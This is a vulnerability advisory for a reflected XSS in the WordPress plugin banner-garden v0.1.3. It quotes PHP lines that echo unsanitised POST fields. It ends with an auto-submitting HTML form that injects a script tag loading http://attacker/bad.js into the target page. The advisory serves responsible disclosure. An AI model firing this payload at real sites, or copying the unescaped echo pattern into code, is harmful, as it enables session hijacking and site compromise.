Advisory #: 1321
Title: Reflected XSS in wordpress plugin banner-garden v0.1.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/banner-garden
Downloads: 19468
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: banner-garden
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./banner-garden/bannergarden.class.php: 464: <div class="bg_input"><input style="width: 140px;" type="text" name="name" value="<?php echo $_POST["name"] ?>"></div> 466: <div class="bg_input"><input style="width: 140px;" type="text" id="from" name="from" value="<?php echo $_POST["from"] ?>"><a href="javascript: void(0);" onclick="ClearInput('from');"><?php _e('clear','bannergarden'); ?></a></div> 468: <div class="bg_input"><input style="width: 140px;" type="text" id="until" name="until" value="<?php echo $_POST["until"] ?>"><a href="javascript: void(0);" onclick="ClearInput('until');"><?php _e('clear','bannergarden'); ?></a></div> 709: <div class="bg_input"><input type="text" id="adname" name="name" value="<?php echo $_POST["name"] ?>"></div> The variable name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./banner-garden/bannergarden.class.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/banner-garden/bannergarden.class.php method=post> <input type=hidden name=name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>